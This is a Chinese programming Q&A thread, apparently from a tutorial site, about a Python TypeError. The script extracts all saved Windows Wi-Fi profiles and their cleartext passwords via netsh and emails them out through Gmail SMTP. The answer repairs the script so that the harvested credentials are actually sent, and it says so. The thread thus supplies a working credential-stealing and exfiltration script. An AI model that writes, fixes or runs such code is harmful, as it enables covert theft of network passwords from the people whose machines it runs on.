TypeError: 预期的字符串或类似字节的对象。我在哪里将它更改为字符串?

当我尝试运行这个 python 时:


import subprocess, smtplib

def send_mail(email,password,message):

    server = smtplib.SMTP("smtp.gmail.com", 587)

    server.starttls()

    server.login(email,password)

    server.sendmail(email, email, message)

    server.quit()


a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')

a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]

for i in a:

    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')

    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]

    try:

        print ("{:<30}| {:<}".format(i, results[0]))

    except IndexError:

        print ("{:<30}| {:<}".format(i,""))

send_mail("example@gmail.com","Example123",results)

我收到这个错误


Traceback (most recent call last):

  File "wifi.py", line 18, in <module>

    send_mail("Example@gmail.com","Example123",results)

  File "wifi.py", line 6, in send_mail

    server.sendmail(email, email, message)

  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail

    (code, resp) = self.data(msg)

  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data

    q = _quote_periods(msg)

  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods

    return re.sub(br'(?m)^\.', b'..', bindata)

  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub

    return _compile(pattern, flags).sub(repl, string, count)

TypeError: expected string or bytes-like object

我知道我需要在某个地方放“str”,但我不知道是哪一部分(我对 python 有点陌生)


Cats萌萌
浏览 129回答 1
1回答

阿波罗的战车

你有结果作为列表只是将它转换成字符串这将发送用户名和密码import subprocess, smtplibdef send_mail(email,password,message):&nbsp; &nbsp; server = smtplib.SMTP("smtp.gmail.com", 587)&nbsp; &nbsp; server.starttls()&nbsp; &nbsp; server.login(email,password)&nbsp; &nbsp; server.sendmail(email, email, message)&nbsp; &nbsp; server.quit()a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]to_send = []for i in a:&nbsp; &nbsp; results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')&nbsp; &nbsp; results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]&nbsp; &nbsp; # in order to send everything store it in another list and then join them with new line.&nbsp; &nbsp; to_send.append(i+":"+"".join(results))&nbsp; &nbsp; try:&nbsp; &nbsp; &nbsp; &nbsp; print ("{:<30}| {:<}".format(i, results[0]))&nbsp; &nbsp; except IndexError:&nbsp; &nbsp; &nbsp; &nbsp; print ("{:<30}| {:<}".format(i,""))# convert list to stringsend_mail("example@gmail.com","Example123","\n".join(to_send))
打开App,查看更多内容
随时随地看视频慕课网APP

相关分类

Python